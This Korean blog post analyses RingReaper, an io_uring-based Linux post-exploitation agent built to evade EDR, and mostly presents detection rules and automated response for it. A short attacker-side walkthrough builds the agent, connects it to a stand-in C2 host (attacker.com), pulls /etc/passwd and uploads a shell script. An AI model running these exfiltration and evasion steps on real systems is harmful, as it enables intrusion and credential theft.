본문 바로가기
모의해킹 (WAPT)

RingReaper로 io_uring 기반 리눅스 EDR 우회기술 실전분석과 방어전략

by 날으는물고기 2025. 7. 15.

RingReaper로 io_uring 기반 리눅스 EDR 우회기술 실전분석과 방어전략

728x90

RingReaper는 리눅스 환경에서 EDR(Endpoint Detection and Response) 솔루션을 우회하기 위해 설계된 포스트 익스플로잇 에이전트로, 리눅스 커널의 비동기 I/O 인터페이스인 io_uring을 활용하여 기존의 시스템 호출을 회피합니다.

RingReaper 개요

  • 개발자: MatheuZSecurity
  • 목적: 리눅스 시스템에서 EDR 탐지를 우회하기 위한 포스트 익스플로잇 에이전트
  • 핵심 기술: io_uring을 활용하여 전통적인 시스템 호출(read, write, recv, send, connect 등)을 대체
  • 특징: EDR 탐지를 회피하기 위해 네트워크 및 파일 I/O 작업을 비동기적으로 처리

주요 기능 및 명령어

명령어 설명 io_uring 사용 여부  
get 대상 시스템에서 파일 다운로드 100% 사용  
put 파일 업로드 (recv 사용) 100% 사용  
users 로그인된 사용자 목록 확인 (utmp 파일 읽기) 100% 사용  
ss / netstat TCP 연결 목록 확인 (/proc/net/tcp 읽기) 100% 사용  
privesc SUID 바이너리 검색 (statx 사용) 100% 사용  
ps 프로세스 목록 확인 (opendir, readdir 사용) 부분 사용  
kick pts 세션 종료 (opendir, readdir, kill, readlink 사용) 부분 사용  
me 현재 PID/TTY 확인 (getpid, ttyname 사용) 부분 사용  
selfdestruct 현재 바이너리 삭제 (readlink 사용) 부분 사용  
exit 연결 종료 및 에이전트 종료 100% 사용  
help 명령어 도움말 표시 100% 사용  

일부 명령어는 io_uring이 완전히 지원하지 않는 기능 때문에 전통적인 시스템 호출을 사용하지만, 대부분의 작업은 io_uring을 통해 수행됩니다.

1. io_uring 기반 탐지 우회

io_uring은 커널 수준에서 비동기 I/O 작업을 처리하여 전통적인 시스템 호출을 회피합니다. 이로 인해 EDR 솔루션이 일반적으로 모니터링하는 시스템 호출을 우회할 수 있습니다. 현재 대부분의 EDR 솔루션은 io_uring 관련 시스템 호출(io_uring_enter 등)을 깊이 있게 모니터링하지 않기 때문에 탐지 회피에 효과적입니다.

2. EDR 탐지 우회 전략

  • 네트워크 통신: HTTPS 포트(443번)를 사용하여 정상적인 트래픽으로 위장
  • 시스템 호출 회피: 전통적인 시스템 호출을 최소화하여 EDR의 후킹 및 이벤트 트레이싱을 회피
  • 파일 및 프로세스 작업: io_uring을 통해 파일 및 프로세스 관련 작업을 비동기적으로 처리

방어를 위한 대응 방안

1. io_uring 관련 시스템 호출 모니터링

  • io_uring_enter 및 관련 시스템 호출을 모니터링하여 비정상적인 I/O 작업 탐지
  • eBPF(Berkeley Packet Filter)를 활용하여 커널 수준에서의 I/O 작업 추적

2. 행위 기반 탐지 강화

  • 전통적인 시스템 호출뿐만 아니라 비동기 I/O 작업에 대한 행위 기반 탐지 규칙 수립
  • 비정상적인 파일 접근 패턴, 네트워크 통신 등을 기반으로 한 탐지 로직 강화

3. 로그 및 이벤트 분석

  • io_uring을 통한 작업 로그를 수집하고 분석하여 이상 징후 탐지
  • 정상적인 시스템 동작과 비교하여 비정상적인 패턴 식별
300x250

RingReaper는 리눅스 환경에서 EDR 탐지를 우회하기 위해 io_uring을 활용한 포스트 익스플로잇 에이전트로, 전통적인 시스템 호출을 회피하여 탐지를 어렵게 만듭니다. 이에 대응하기 위해서는 io_uring 관련 시스템 호출에 대한 모니터링 강화, 행위 기반 탐지 로직 수립, 로그 및 이벤트 분석 등을 통해 보안 체계를 강화해야 합니다.

RingReaper 실전 구성 및 활용 가이드

RingReaperio_uring을 활용하여 EDR 감시 우회를 목표로 설계된 리눅스용 포스트 익스플로잇 에이전트입니다. 주요 통신은 HTTPS로 암호화되며, 다양한 파일/네트워크/시스템 명령을 io_uring으로 실행함으로써 기존 EDR 후킹을 우회합니다.

전제 조건

항목 조건
대상 시스템 리눅스 (Kernel 5.6 이상)
EDR 시스템 콜 기반 탐지 방식 사용하는 제품 (예: Falco, Osquery, Crowdstrike Falcon 등)
공격자 시스템 Kali Linux 또는 Ubuntu + golang 설치
네트워크 인터넷 연결 가능해야 함 (HTTPS 통신 사용)

설치 절차 (공격자 측)

# 1. Golang 설치
sudo apt update && sudo apt install golang-go -y

# 2. 코드 클론
git clone https://github.com/MatheuZSecurity/RingReaper.git
cd RingReaper

# 3. 리스닝 서버 실행
go run server.go

서버 기본 설정

  • 기본 포트: 443
  • 암호화된 HTTPS 통신 사용
  • 에이전트와 서버는 TLS로 암호화된 채널로 통신

에이전트 빌드 및 전개

# 리눅스용 에이전트 빌드
GOOS=linux GOARCH=amd64 go build -o reaper-agent agent.go

# 에이전트 실행 예시
./reaper-agent https://attacker.com:443
  • https://attacker.com:443는 C2 서버 주소
  • 실행 즉시 C2 서버와 연결되며 명령 수신 대기

활용 가능한 명령어 시나리오

📁 파일 다운로드

reaper> get /etc/passwd
  • /etc/passwd 파일을 공격자 서버로 다운로드
  • read 시스템 콜 대신 io_uring을 사용하여 EDR 탐지 우회

💾 파일 업로드 (백도어 배포 등)

reaper> put shell.sh /tmp/shell.sh
  • 공격자가 가진 shell.sh 파일을 대상 시스템에 업로드

👥 로그인 사용자 확인

reaper> users
  • utmp 파일을 io_uring으로 읽어 로그인 사용자 정보 수집

🔎 권한 상승 탐색

reaper> privesc
  • SUID 권한이 있는 바이너리 탐색
  • / 전체 검색 시 statxio_uring으로 실행

🔚 흔적 삭제

reaper> selfdestruct
  • 현재 실행 중인 바이너리를 자동 삭제
  • 흔적 최소화를 위한 기능

보안 점검 및 대응 방안

점검 항목 설명
io_uring 기반 호출 탐지 io_uring_enter 호출을 모니터링 가능한 eBPF, Sysmon for Linux, Falco 정책 구성
TLS 통신 트래픽 443 포트에서 비정상적인 클라이언트 통신 세션 감지
비동기 파일 I/O 패턴 분석 동일한 파일을 반복적으로 비동기 읽기하는 행위 등
/proc/net, utmp, SUID binary 접근 탐지 비정상적인 파일 액세스 시도 감지 룰 생성
자가삭제 패턴 탐지 readlink, unlink, rm 등이 조합된 행위 시그니처 정의
정적/동적 바이너리 분석 새로운 Go ELF 파일 또는 io_uring 심볼 포함 여부 검사

보안 솔루션 설정 가이드

Falco 룰 예시 (io_uring_enter 탐지)

- rule: Detect io_uring system call
  desc: Detect use of io_uring which can be used to evade syscall tracing
  condition: evt.type = io_uring_enter and proc.name != "trusted_process"
  output: "Suspicious use of io_uring by %proc.name (%user.name)"
  priority: WARNING

eBPF 기반 탐지 도구

  • Tetragon: 커널 수준 시스템 콜 및 이벤트 흐름 탐지
  • Tracee: io_uring 등 고급 시스템 콜 추적 가능

보안 시사점

요약 항목 내용
장점(공격자 입장) io_uring으로 시스템 콜 후킹을 우회하고, EDR 탐지를 효과적으로 피함
위협(보안 관리자 입장) 기존 시그니처 기반 탐지가 무력화될 수 있음
대응 전략 행위 기반 탐지 + 커널 수준 추적(eBPF/Falco) 병행 운영 필요

RingReaper 대응을 위한 점검 및 탐지 구성 가이드

점검 스크립트: io_uring 사용 이력 확인

다음은 io_uring 관련 syscall 호출 이력을 확인하는 bash 기반 간단한 점검 스크립트입니다.

check_io_uring_usage.sh

#!/bin/bash
echo "[*] Checking for processes using io_uring..."

for pid in $(ls /proc | grep -E '^[0-9]+$'); do
  if [ -r "/proc/$pid/maps" ]; then
    grep -q "io_uring" /proc/$pid/maps && {
      pname=$(cat /proc/$pid/comm)
      echo "[!] Process $pid ($pname) is using io_uring."
    }
  fi
done
  • /proc/[pid]/maps에서 io_uring 관련 메모리 매핑 여부 확인
  • RingReaper는 io_uring_setup, io_uring_enter를 통해 커널 I/O 큐와 통신 → 관련 mmap 흔적이 남는 경우 감지 가능

eBPF 기반 탐지 설정 예시

사용 도구

  • Tracee – Aqua Security에서 제공하는 eBPF 기반 런타임 탐지 도구
  • Tetragon – 커널 수준 트래픽/시스템 호출 추적용

Tracee – io_uring 탐지 룰

Tracee는 JSON 기반의 정책 룰을 활용합니다.

{
  "ruleName": "Detect io_uring usage",
  "eventName": "io_uring_enter",
  "tags": ["linux", "io_uring", "edr-evasion"],
  "description": "Detects use of io_uring_enter syscall, commonly used in EDR evasion",
  "condition": "container.id != host and not proc.name in ['systemd', 'containerd']",
  "output": "Process %proc.name (%proc.pid) invoked io_uring_enter"
}

실행 방법

sudo ./tracee --trace event=io_uring_enter --output json

또는 시스템 전체에 대한 후킹

sudo ./tracee --trace all

Tetragon – io_uring syscall 추적 예시

Tetragon은 tracepolicy YAML을 활용합니다.

apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: detect-io-uring
spec:
  kprobes:
  - call: io_uring_enter
    syscall: true
    return: true
    action:
      - log
kubectl apply -f detect-io-uring.yaml

이후 로그는 Tetragon UI 또는 Grafana에 연동해 시각화 가능

침해사고 대응 룰 작성 예시

Falco 룰 – RingReaper 대응

- rule: Suspicious use of io_uring syscalls
  desc: Detect processes using io_uring which may indicate EDR evasion
  condition: >
    (evt.type in (io_uring_enter, io_uring_setup)) and
    proc.name != "systemd" and
    proc.name != "docker"
  output: >
    "Process %proc.name (pid=%proc.pid) invoked io_uring syscall"
  priority: WARNING
  tags: [ringreaper, io_uring, edr, linux]
# 적용 후 falco 재시작
sudo systemctl restart falco

탐지 우회 확인용 테스트 바이너리

RingReaper 또는 io_uring 기반 프로그램이 실제 탐지되는지 테스트하기 위한 go 예제

package main
import (
    "fmt"
    "golang.org/x/sys/unix"
)

func main() {
    fd, err := unix.IoUringSetup(1, &unix.IoUringParams{})
    if err != nil {
        fmt.Println("io_uring setup failed:", err)
        return
    }
    fmt.Println("io_uring setup success, fd =", fd)
}

빌드 및 실행

go get golang.org/x/sys/unix
go build -o test_uring test.go
./test_uring

이후 Falco / Tracee / Tetragon이 로그를 생성하는지 확인

보안 대응 지침

항목 설명
EDR 우회 탐지 강화 io_uring_enter, io_uring_setup syscall 감시 필수
취약 시스템 식별 커널 5.6 이상에서 io_uring 기능 활성 여부 확인
정적 분석 신규 도입된 Go 바이너리 파일 정적 분석 시 io_uring 사용 여부 체크 (strings, readelf)
정책 적용 EDR 룰셋 업데이트, eBPF 기반 탐지 도구 도입, 불필요한 커널 기능 차단

IOC 예시

IOC 항목 예시
파일명 reaper-agent, agent.go, ringreaper
도메인 *.onion, attacker.com
포트 443, 8443 (비정상 외부 연결 시)
시스템 콜 io_uring_enter, io_uring_setup, mmap, unlink, readlink

Slack 알림 자동 전송: 탐지 후 Webhook 연동

EDR, eBPF 탐지 도구(Falco, Tracee 등)에서 io_uring 탐지 시, Slack Webhook으로 경고 메시지를 전송합니다.

구성 예시: Falco → Slack

① Slack Webhook 생성

  1. Slack App 설정 페이지 접속
  2. 새 앱 생성 → Incoming Webhooks 활성화
  3. Webhook URL 복사 (예: https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX)

② Falco 설정 변경

sudo vi /etc/falco/falco.yaml
program_output:
  enabled: true
  keep_alive: false
  program: "/usr/local/bin/falco_slack.sh"

③ Slack 전송 스크립트 작성

/usr/local/bin/falco_slack.sh

#!/bin/bash

SLACK_WEBHOOK="https://hooks.slack.com/services/XXX/YYY/ZZZ"

while read line; do
  curl -X POST -H 'Content-type: application/json' \
    --data "{\"text\":\"🔔 Falco Alert:\n$line\"}" \
    "$SLACK_WEBHOOK"
done
chmod +x /usr/local/bin/falco_slack.sh

예시 출력 메시지

🔔 Falco Alert
Process unknown_proc (pid=2231) invoked io_uring_enter.
Time: 2025-07-13T10:22:13Z

Grafana에서 io_uring 탐지 이벤트 시각화

[Tracee / Tetragon] → [Prometheus Exporter or Loki] → [Grafana Dashboard]

방법 A: Loki + Grafana

  1. Tracee 실행 (Loki 연동용 Docker 로그 사용)
    docker run --rm -v /etc/os-release:/etc/os-release -v /lib/modules:/lib/modules --privileged \
      aquasec/tracee --trace event=io_uring_enter --output format=json
  2. Loki 설정 (Docker 로그 수집)
    Loki에서 json 로그 수집 후 io_uring 키워드 필터링
  3. Grafana 설정
  • 데이터 소스 추가: Loki
  • 쿼리 예시
    {job="tracee"} |= "io_uring_enter"
  • 시계열 그래프 또는 테이블 패널로 시각화

방법 B: Prometheus + Tetragon + Grafana

  1. Tetragon에서 io_uring_enter 탐지 시 Prometheus 메트릭 노출
  2. cilium/tetragon-exporter를 통해 Prometheus 연동
    # 예: io_uring syscall count
    tetragon_io_uring_syscalls_total{process="curl"} 3
  3. Grafana에서 Prometheus 쿼리
    tetragon_io_uring_syscalls_total

대시보드 구성 팁

패널 유형 설명
Bar Chart 프로세스별 io_uring 호출 건수
Table 시간대별 PID / 프로세스 이름 / 이벤트
Alerts io_uring syscall이 특정 수 이상이면 Slack 알림 트리거

Wazuh를 통한 io_uring 탐지

① Auditd와 Wazuh 연동

# audit.rules 또는 /etc/audit/rules.d/audit.rules
-a always,exit -F arch=b64 -S io_uring_enter -k io_uring_call

② Wazuh 룰 구성

<group name="syscalls,edr_evasion,io_uring">
  <rule id="100500" level="10">
    <if_sid>80700</if_sid>
    <match>io_uring_enter</match>
    <description>io_uring syscall detected - possible EDR evasion</description>
    <group>syscalls,edr_evasion</group>
  </rule>
</group>
  • if_sid 80700: auditd 기반 syscall 이벤트 SID

③ Slack 연동 (Webhook)

Wazuh는 Slack 통합을 위한 webhook 모듈(wazuh-slack) 제공 가능
→ 필요한 경우 별도 연동법 안내 가능

Osquery를 통한 io_uring 탐지

① 커널에서 syscall 이벤트 직접 탐지는 어려움

/proc/[pid]/maps, /proc/[pid]/fd 등을 주기적으로 조회하여 간접 탐지

② 사용자 정의 쿼리 예시

SELECT pid, name, path
FROM processes
WHERE path LIKE '%reaper-agent%' OR name = 'reaper-agent';

또는

SELECT pid, name
FROM processes
WHERE cmdline LIKE '%io_uring%';

📝 io_uring 사용 흔적은 /proc/[pid]/maps에 "io_uring" 문자열로 확인 가능

③ Scheduled Query 설정 (FleetDM 등에서 10분마다 실행)

{
  "queries": {
    "io_uring_monitor": {
      "query": "SELECT * FROM processes WHERE cmdline LIKE '%io_uring%';",
      "interval": 600
    }
  }
}

추가 도구 추천

도구 역할
Sysdig Falco 실시간 시스템 콜 탐지
Tracee io_uring 포함 다양한 eBPF 이벤트 추적
Cilium Tetragon Kubernetes 환경 포함 시스템콜 추적
[FleetDM + Osquery] 엔드포인트 감시, 정책 구성 자동화
[Wazuh] 보안 규칙 기반 SIEM 연동 및 경고

Tetragon Kubernetes용 DaemonSet 구성 예시

사전 조건

항목 요구 사항
Kubernetes 버전 1.20 이상 권장
커널 버전 5.x 이상 (eBPF 지원)
Cilium 설치 여부 불필요 (Tetragon은 독립 사용 가능)
Helm 또는 kubectl 설치 필요

설치 방법 (Helm 기반)

Helm 저장소 등록 및 업데이트

helm repo add cilium https://helm.cilium.io
helm repo update

Tetragon 설치 (DaemonSet 방식)

helm install tetragon cilium/tetragon \
  --namespace kube-system \
  --create-namespace \
  --set tetragon.logLevel=info \
  --set tetragon.tracingPolicy.enabled=true

이제 모든 노드에 Tetragon DaemonSet이 설치되어 커널 이벤트를 수집합니다.

TracingPolicy 예시 (io_uring 탐지)

다음은 io_uring_enter 시스템 콜을 탐지하는 TracingPolicy CRD 예시입니다.

io-uring-trace.yaml

apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: detect-io-uring
spec:
  kprobes:
    - call: io_uring_enter
      syscall: true
      return: true
      action:
        - log
        - notify

배포

kubectl apply -f io-uring-trace.yaml

로그 확인

kubectl logs -n kube-system -l k8s-app=tetragon -f

출력 예시

Process "ringreaper" (pid 3211) called syscall "io_uring_enter"

Slack 연동 (옵션)

Tetragon은 Tetragon Operator 또는 별도 log shipper를 통해 Slack과 연동 가능합니다. 간단한 예로는 다음과 같이 로그를 Fluent Bit → Slack으로 전송하거나, tetragon-exporter로 메트릭화한 후 알림을 보낼 수 있습니다.

Grafana 연동 (옵션)

방법 A: Prometheus Exporter 사용

  • tetragon-exporter를 함께 설치하여 Prometheus와 연동
    helm install tetragon-exporter cilium/tetragon-exporter \
      --namespace kube-system
  • 메트릭 예시
    tetragon_process_syscall_total{syscall="io_uring_enter"}
  • Grafana에서 syscall 패턴, PID별 호출 수 등을 대시보드로 시각화 가능

보안 운영을 위한 팁

구성 요소 활용 방안
TracingPolicy 특정 syscall 또는 바이너리, UID 기반 탐지 룰 구성 가능
action: log, notify, exec 알림 외에 자동 스크립트 실행 가능 (exec)
정합성 검사 SUID/SGID 탐지, 비정상 프로세스 실행 탐지 룰도 추가 가능
네임스페이스 필터 특정 Pod 또는 네임스페이스 기준으로 필터링 가능

관련 정책 예시 모음

탐지 대상 TracingPolicy 설정
io_uring_enter syscall kprobes + log
SUID/권한 상승 execve + uid != 0 조건
/bin/bash 실행 binary == /bin/bash 필터
비정상적인 네트워크 통신 connect syscall 추적

Alertmanager 기반 자동 대응 설정

[Tetragon / Falco / Prometheus Exporter]
       ↓ Event 발생 (syscall 등)
[Prometheus] ← scrape
       ↓ Alert 발생
[Alertmanager] ← route
       ↙             ↘
[Slack Webhook]   [Auto Kill Webhook]
                      ↘
                [n8n / FastAPI / Python Script 등]

Prometheus Alert 정의 (io_uring 탐지)

예시: rules.yml

groups:
  - name: io_uring-detection
    rules:
      - alert: IoUringSyscallDetected
        expr: increase(tetragon_process_syscall_total{syscall="io_uring_enter"}[1m]) > 0
        for: 10s
        labels:
          severity: critical
          action: kill
        annotations:
          summary: "Detected io_uring syscall (EDR evasion attempt)"
          description: "Process on {{ $labels.instance }} used io_uring_enter"
# Prometheus 설정에 추가
--rule-files="/etc/prometheus/rules.yml"

Alertmanager 설정: 자동 Kill 트리거

alertmanager.yml

route:
  receiver: "kill-webhook"
  group_by: ['alertname']
  group_wait: 10s
  repeat_interval: 10m
  routes:
    - match:
        severity: critical
        action: kill
      receiver: kill-webhook

receivers:
  - name: "kill-webhook"
    webhook_configs:
      - url: "http://autoresponder.default.svc.cluster.local:8080/kill"
        send_resolved: true

  - name: "slack"
    slack_configs:
      - channel: "#security-alerts"
        text: "🚨 {{ .CommonAnnotations.summary }}\n{{ .CommonAnnotations.description }}"

Kill 자동화 서비스 구축 (FastAPI / Python)

kill-agent.py

from fastapi import FastAPI, Request
import subprocess

app = FastAPI()

@app.post("/kill")
async def kill_process(request: Request):
    data = await request.json()
    alerts = data.get("alerts", [])

    for alert in alerts:
        # 예시용으로 임의의 프로세스 이름을 기준으로 종료
        proc_name = "ringreaper"  # 실제는 alert label 등에서 추출
        try:
            subprocess.run(["pkill", "-f", proc_name])
        except Exception as e:
            print(f"Kill failed: {e}")

    return {"status": "ok"}
uvicorn kill-agent:app --host 0.0.0.0 --port 8080

⚠️ 실환경에서는 인증 토큰, IP allowlist 등 보안 강화 필요

n8n 활용: Kill 외 자동화 확장

Alertmanager → Webhook → n8n Workflow

  • Slack 알림 전송
  • Jira 티켓 생성
  • Osquery로 원격 조사 명령 전송
  • Wazuh API 연동해 Agent 격리

예시 워크플로 구성도

[Webhook (Alertmanager)]
     ↓
[IF: label.action == "kill"]
     ↓
[Execute Command / API Call / Slack Node]
단계 구성 요소 역할
① 탐지 Tetragon / Tracee io_uring_enter 호출 탐지
② 알림 Prometheus + Alertmanager 이벤트에 기반한 alert 전송
③ 대응 Webhook → Script or n8n 프로세스 종료, Slack 알림 등
728x90
그리드형(광고전용)

댓글